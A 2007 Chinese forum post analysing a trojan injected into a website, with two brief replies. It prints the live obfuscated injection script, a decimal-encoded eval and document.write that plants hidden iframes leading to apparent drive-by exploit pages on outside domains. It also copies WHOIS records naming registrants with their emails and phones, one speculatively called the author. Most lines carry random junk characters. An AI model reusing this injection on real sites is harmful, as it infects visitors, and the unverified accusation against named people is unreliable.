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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, H}}g\|r&  
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http://www.areway.cn/?p=175 sn=_-uoU  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: X@cO`P  
          2F- ]0kGR|  
<script>t=’60,105,102,114,97,109,101, .e|VW)  
32,115,114,99,61,104,116,116,112,58,47,47, J3P )oM[  
102,114,101,101,46,117,45,117,117,117,46,99, rM5{R}+;  
110,47,101,114,114,111,114,46,104,116,109, z&@O\>Q  
32,119,105,100,116,104,61,49,48,48,32,104, SZ)AO8&  
101,105,103,104,116,61,48,62,60,47,105,102, *~H\#N|x  
114,97,109,101,62′; W2 p&LP  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> 1w|C+m/(  
                                                                                                  oBqWIXM  
<script>t=’60,105,102,114,97,109,101,32,115, !T3b ]0z  
114,99,61,104,116,116,112,58,47,47,102,114, 0'Y'K6hG`  
101,101,46,117,45,117,117,117,46,99,110,47, ^;[|,:8f7L  
101,114,114,111,114,46,104,116,109,32,119, z3+7gp+I;  
105,100,116,104,61,49,48,48,32,104,101,105, XzV:q!e-  
103,104,116,61,48,62,60,47,105,102,114,97, <f+ 9wuZ  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 1NI%J B  
document.write(t);</script> #eKg!]4-R  
                                                                                                  ?r"QJa>  
<html xmlns=” Okt0b|=`1*  
http://www.w3.org/1999/xhtml BGO!c[-  
“> C!%\cy%Xj  
<head> 20Rj Rd  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> E Qn4+  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> Jg:%|g  
<title>首页 - 爱生活家庭网 3|qT.QR`Z  
                                                                                                                                                    hCvK2Xu   
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 R3,O;9i  
转换字符串后的大概内容是(谁点击后果自付):  WPnw  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… ay-M.J  
                                                                                                                                  Rz\:)<G  
查询玉米u-uuu.cn的详细信息: (|kcSnF0  
Domain Name: u-uuu.cn m?4L>'  
ROID: 20070901s10001s64972306-cn brXLx +H8  
Domain Status: ok dvLO#o{  
Registrant Organization: 王雷 KDQqN]rg  
Registrant Name: 王雷 Yfotq9.=+  
Administrative Email: czlovexs@126.com gZ b +m  
Sponsoring Registrar: 北京万网志成科技有限公司 :<w2j 6V  
Name Server:ns.yovole.com LLlt9(^d  
Name Server:ns1.yovole.com }>T$2"pf  
Registration Date: 2007-09-01 17:54 R_ |Sg  
Expiration Date: 2008-09-01 17:54 ~0 5p+F)  
最后PING了一下地址 都没有什么…. TcjTF|q>  
                                                                                                piv/QP-X  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. kafRuO~$  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> ~,jBm^4  
<script language=”javascript” src=” sCi"qtHP  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script y8k*{1MuO  
> M`jqU g  
这个玉米应该有可能是木马作者的: ,|u^-J@  
foafau.info的详细信息: Q3OGU}F  
Access to INFO WHOIS information is provided to assist persons in |y T-N3H@  
determining the contents of a domain name registration record in the AXmW7/Sj"  
Afilias registry database. The data in this record is provided by vy&< O  
Afilias Limited for informational purposes only, and Afilias does not H,I k&{@j  
guarantee its accuracy.  This service is intended only for query-based czH`a=mjH  
access. You agree that you will use this data only for lawful purposes rQ+2 -|#  
and that, under no circumstances will you use this data to: (a) allow, 8;vpa*  
enable, or otherwise support the transmission by e-mail, telephone, or }/cMG/%  
facsimile of mass unsolicited, commercial advertising or solicitations ~l SdWUk>  
to entities other than the data recipient’s own existing customers; or uOU?-WtPz  
(b) enable high volume, automated, electronic processes that send wE*jN~  
queries or data to the systems of Registry Operator, a Registrar, or ;3 |Z}P  
Afilias except as reasonably necessary to register domain names or "B 9aJo  
modify existing registrations. All rights reserved. Afilias reserves l{u2W$8  
the right to modify these terms at any time. By submitting this query, 3\~ RWoB0u  
you agree to abide by this policy. ud}B#{6  
Domain ID:D22418703-LRMS !rwe|"8m?u  
Domain Name:FOAFAU.INFO &y~EEh|  
Created On:20-Nov-2007 16:05:42 UTC C~PoC'"q  
Last Updated On:20-Nov-2007 16:05:44 UTC b{WEux{)  
Expiration Date:20-Nov-2008 16:05:42 UTC s'Op|`&X  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) ]`S35b  
Status:CLIENT DELETE PROHIBITED 7 g2@RKo  
Status:CLIENT RENEW PROHIBITED tOQura  
Status:CLIENT TRANSFER PROHIBITED |}YeQl  
Status:CLIENT UPDATE PROHIBITED 2wKW17wj,  
Status:TRANSFER PROHIBITED =Y;w O8  
Registrant ID:GODA-040110615 6L\?+=X  
Registrant Name:liu hong /ZcqKC  
Registrant Organization: _ h7qS  
Registrant Street1:beijing H7=[sL^  
Registrant Street2: 6gSo>F4=  
Registrant Street3: gr%!<2w  
Registrant City:beijing 0 jszZ_  
Registrant State/Province: O5;$cP:  
Registrant Postal Code:100000 luYa+E0  
Registrant Country:CN LBs:O*;  
Registrant Phone:+86.860108888777 afJ`1l  
Registrant Phone Ext.: t(,_  
Registrant FAX: a*fUMhIi  
Registrant FAX Ext.: hrt ]Qn&  
Registrant Email:bbbshiji@163.com Cc7YjsRW  
Admin ID:GODA-240110615 P{{pp<tX*&  
Admin Name:liu hong K}(0H[P  
Admin Organization: fQtV-\Bc  
Admin Street1:beijing _r6aLm2n  
Admin Street2: 8&0+Az"{O  
Admin Street3: >gqd y*Bg  
Admin City:beijing /N'|Vs,X  
Admin State/Province: l_`DQ8L`  
Admin Postal Code:100000 HU='Hk!  
Admin Country:CN ZV?~~_ 9  
Admin Phone:+86.860108888777 H%AF,  
Admin Phone Ext.: fNkN  
Admin FAX: V6.w=6:`X  
Admin FAX Ext.: JkiMrpkuk  
Admin Email:bbbshiji@163.com ls<7Qe"a  
Billing ID:GODA-340110615 'aFjyY?%  
Billing Name:liu hong /1Q i9uit  
Billing Organization: 4kZ9]5#.  
Billing Street1:beijing P%-@AmO^_  
Billing Street2: )w.\xA~|  
Billing Street3: ND3(oes+;K  
Billing City:beijing q!5 *) nw"  
Billing State/Province: !oDX+hd,%>  
Billing Postal Code:100000 D02_ Jrg  
Billing Country:CN ee9nfvG-  
Billing Phone:+86.860108888777 GOx+%`.R\  
Billing Phone Ext.: +}u{{  
Billing FAX: 8LH"j(H  
Billing FAX Ext.: kN99(  
Billing Email:bbbshiji@163.com :())%Xu3  
Tech ID:GODA-140110615 qg(rG5kD@  
Tech Name:liu hong X9d~r_2&m<  
Tech Organization: /61P`1y(J  
Tech Street1:beijing D{4Ehr "T  
Tech Street2: 4IW7^Pq`P  
Tech Street3: :=I@<@82W  
Tech City:beijing -X)KY_Xn@/  
Tech State/Province: ~PoBvHi  
Tech Postal Code:100000 @7C?]/8#  
Tech Country:CN o,#[Se*n  
Tech Phone:+86.860108888777 FK8G BkQ!  
Tech Phone Ext.: b)5z'zQu  
Tech FAX: RH=Tu6i  
Tech FAX Ext.: tc_D8Q_  
Tech Email:bbbshiji@163.com v@6TC1M,  
Name Server:NS27.DOMAINCONTROL.COM %dyEF8)  
Name Server:NS28.DOMAINCONTROL.COM @y#QHJ.j  
Name Server:  ?Cu1"bl  
Name Server: 7xmyjy%c  
Name Server: :n4X>YL)  
Name Server: ?-"%%#  
Name Server: n$ri:~s  
Name Server: 7:Jyu/*]  
Name Server: -]uN16\ F  
Name Server: eTV%+  
Name Server: Mk*&CNo3  
Name Server: YRkp(}*!\  
Name Server: $SP*hkU  
                                                                                                          jf_0IE  
接着下载每个文件里面的代码: 0S{dnp  
一步一步看.. J5J$qCJq  
}Z|uLXaz  
xKKR'v:o\  
Or0eY#c  
:OF:(,J  
qrFC4\q}  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
执著追求
别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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